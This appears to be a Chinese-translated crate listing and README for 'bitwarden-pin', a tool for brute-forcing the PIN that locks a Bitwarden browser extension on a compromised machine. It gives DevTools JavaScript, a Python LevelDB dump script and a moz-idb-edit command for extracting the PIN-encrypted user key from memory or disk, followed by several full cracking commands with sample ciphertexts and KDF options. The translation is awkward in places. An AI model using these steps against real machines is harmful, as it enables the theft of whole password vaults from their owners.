1 个不稳定版本
0.1.0 | 2024年3月25日 |
---|
在 命令行工具 中排名第 1545
21KB
225 行
Bitwarden PIN 暴力破解
从存储或内存中暴力破解任何Bitwarden PIN
当Bitwarden浏览器扩展安装在受侵害的机器上时,它通常仍然被锁定,并需要输入主密码来解密数据。然而,可以选择使用PIN而不是密码来锁定保险库,可以是始终或在输入主密码一次后。
可以想象,密码的安全性必须较低,因为现在解锁保险库只需要一个4位数。它仍然可以在离线状态下工作,这意味着解密可以无限制地复制,以便暴力破解PIN。虽然Bitwarden尽可能地使破解这样的PIN变慢,但只有10000个选项,即使是慢速密码散列,几分钟内也可以完成。
此工具实现了一个多线程CLI工具中的暴力破解算法,支持所有类型的散列。根据PIN的长度和使用的算法,可能需要几分钟到几小时。但如果你仔细检查散列配置并将其放入此工具,你可以确保在每种情况下都能成功破解散列。
安装
cargo install bitwarden-pin
或者 从 发布 页面 下载 并 解压 预编译的二进制文件。
示例
步骤
1. 寻找PIN加密的用户密钥
破解技术将涉及在磁盘或内存中查找配置变量。这取决于复选框是否被勾选,如果是未勾选的框,则称为PERSISTANT,表示密钥存储在磁盘上,如果是勾选的框,则称为TRANSIENT,表示密钥存储在内存中。(来源)
磁盘存储是一种常见的存储方法,大多数扩展都会使用。这些可以从使用浏览器制作的特定文件中读取。内存存储只是一个其他扩展部分可以访问的对象,需要通过调试器交互式读取。
Google Chrome: 内存(GUI)
- 在地址栏右侧的Bitwarden扩展上右键单击
- 选择 检查弹出窗口
- 在新DevTools窗口中,在控制台运行以下JavaScript代码
chrome.extension.getBackgroundPage().bitwardenMain.memoryStorageService.store.get("state").accounts
- 这将记录一个包含所有内存账户及其属性的JavaScript对象。使用箭头折叠属性,并查找
settings.pinKeyEncryptedUserKeyEphemeral
。
【提示】在同一个控制台中,您还可以通过以下API读取磁盘存储:
chrome.extension.getBackgroundPage().bitwardenMain.stateService.accountDiskCache._value
Firefox:内存中(GUI)
- 在地址栏中输入
about:debugging
访问调试设置 - 点击 这个Firefox
- 在Bitwarden扩展中,点击 检查
- 在打开的开发者工具控制台中,运行以下JavaScript
bitwardenMain.memoryStorageService.store.get("state").accounts
提示:在同一个控制台中,您还可以通过以下API读取磁盘存储
bitwardenMain.stateService.accountDiskCache._value
Google Chrome:磁盘上
请查看https://bitwarden.com/help/data-storage/#on-your-local-machine,了解浏览器扩展数据在目标操作系统中的存储位置。例如,在 Windows 上,这位于:
%LocalAppData%\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
使用以下Python脚本来读取和转储数据
import plyvel # pip install plyvel
import json
BITWARDEN = r"C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb"
db = plyvel.DB(BITWARDEN)
activeUserId = json.loads(db.get(b"activeUserId"))
account = json.loads(db.get(activeUserId.encode()))
json.dump(account, open("account.json", "w"), indent=4, sort_keys=True)
在创建的 account.json
文件中,找到 settings.pinKeyEncryptedUserKey
。如果为空,它可能是一个旧版本,之前存储在 settings.pinProtected.encrypted
中。
Firefox:磁盘上
请查看https://bitwarden.com/help/data-storage/#on-your-local-machine,了解浏览器扩展数据在目标操作系统中的存储位置。例如,在 Windows 上,这位于:
%AppData%\Mozilla\Firefox\Profiles\[profile]\storage\default\moz-extension+++[UUID]^userContextId=[整数]
这里有一些变量在不同系统中是不同的。可以通过尝试所有文件夹来找到 [profile]
。在Firefox地址栏的 about:debugging
中,可以找到 [UUID]
。然后按下 This Firefox,并在Bitwarden扩展下的内部UUID中查找。这应该足以找到路径。
然后数据库文件本身存储在附加到它的 \idb\3647222921wleabcEoxlt-eengsairo.sqlite
中。
可以使用 moz-idb-edit 工具将所有数据以JSON格式转储到文件中
pip install git+https://gitlab.com/ntninja/moz-idb-edit.git
moz-idb-edit --dbpath "C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\lm6vr7sd.default-release-1619096024431\storage\default\moz-extension+++b546b99d-f948-44ea-91e1-333828d5ac30^userContextId=4294967295\idb\3647222921wleabcEoxlt-eengsairo.sqlite" > account.json
2. 收集加密设置
虽然用户密钥和PIN都使用一些默认加密设置进行加密,但这些随着时间的推移已经发生变化,也可以在设置中更改,因此它们可能不同。为了确保可以检查密钥派生函数(kdf
)设置。将 null
值替换为其默认值
$ jq . account.json | grep "kdf"
"kdfType": 0, # 0 = pbkdf2, 1 = argon2
"kdfIterations": 100000, # default: pbkdf2=600000, argon2=3
"kdfMemory": null, # default: argon2=64 (*1024 = 65536)
"kdfParallelism": null, # default: argon2=4
来源:https://github.com/bitwarden/clients/blob/main/libs/common/src/platform/enums/kdf-type.enum.ts
3. 破解PIN
当您找到所有参数以及永久或临时密钥时,您可以在没有UI锁定的情况下在本地暴力破解PIN。对于旧默认值的某些基本实现,但决定制作自己的工具,您可以将所有这些参数传递给优化和线程化的程序(此存储库)来破解它。以下是一些示例
默认设置(pbkdf2,迭代次数为600000),以及带有 -m
盐的电子邮件
bitwarden-pin -e "2.P6TpPPpMf5zkHUfTplnocw==|KZ7/pR8ft+LwcjfXs2ym9hmxE7DLIeA9Kl+IPwTVCwLmbpkFtYKPWvK53DEDDrVUeYvz/rPcl3MEH3wXl200HCsV5ZbGLGVU4bha5Aw20fk=|+Y46Za3Oo63XRbvqLFz5cVuvbqMvBqopD16+8HV83mk=" \
-m "[email protected]"
使用 -i
设置自定义迭代次数,以旧版本为6倍更快地破解
bitwarden-pin -e "..."
-m "[email protected]" pbkdf2 -i 100000
将算法设置为较新的argon2
bitwarden-pin -e "2.FA4aPsq/5jKajc8tGqYKaQ==|CO/t9f1EQ4O5LL6O1anBAd1/4Hb+l4I32UMlW+3O7CoxTRXlEuLK5xvDCFmeRCYmylt206B22roFXycaRG3Z9fnN1aVVbBJ59qfCDEGusHw=|vmWmAb9kfqPPljRNhDMe+fDlwwat8XN5BZSsMAH8p8w=" \
-m "[email protected]" argon2
使用 -i
为argon2设置自定义 kdfConfig 值,用于迭代,使用 -m
用于MiB中的内存
bitwarden-pin -e "2.FA4aPsq/5jKajc8tGqYKaQ==|CO/t9f1EQ4O5LL6O1anBAd1/4Hb+l4I32UMlW+3O7CoxTRXlEuLK5xvDCFmeRCYmylt206B22roFXycaRG3Z9fnN1aVVbBJ59qfCDEGusHw=|vmWmAb9kfqPPljRNhDMe+fDlwwat8XN5BZSsMAH8p8w=" \
-m "[email protected]" argon2 -i 3 -m 64 -p 6
以100000次迭代和6位数字破解PIN(将花费很长时间)
bitwarden-pin -e "..."
-m "[email protected]" pbkdf2 -i 100000 -p 6
依赖项
~5–17MB
~166K SLoC